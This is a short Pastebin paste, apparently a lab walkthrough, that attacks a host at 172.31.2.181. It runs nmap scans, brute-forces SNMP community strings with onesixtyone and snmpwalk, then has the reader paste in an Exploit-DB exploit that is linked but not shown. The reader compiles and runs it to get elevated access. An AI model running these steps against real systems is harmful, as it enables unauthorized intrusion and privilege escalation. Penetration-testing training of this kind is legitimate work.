Advertisement
joemccray

Attacking 181

Apr 23rd, 2018
666
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.90 KB | None | 0 0
  1. ---------------------------Type This-----------------------------------
  2. sudo nmap -sV 172.31.2.181
  3.  
  4. sudo nmap -sU -p69,161 172.31.2.181
  5.  
  6. sudo apt-get -y install onesixtyone snmp
  7.  
  8. wget https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/wordlists-misc/wordlist-common-snmp-community-strings.txt
  9.  
  10. onesixtyone -c wordlist-common-snmp-community-strings.txt 172.31.2.181
  11.  
  12. snmpwalk -Os -c public -v 1 172.31.2.181
  13.  
  14. ---------------------------Type This-----------------------------------
  15. cat >> exploit.c << out
  16.  
  17. **************paste in the content from here *****************
  18. https://www.exploit-db.com/raw/39166/
  19.  
  20.  
  21. ------ hit enter a few times ------
  22.  
  23. ------ then type 'out' ----- this closes the file handle...
  24.  
  25.  
  26.  
  27. ---------------------------Type This-----------------------------------
  28. gcc -o boom exploit.c
  29.  
  30. ./boom
  31.  
  32. id
  33.  
  34.  
  35. ......YEAH - do the happy dance!!!!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement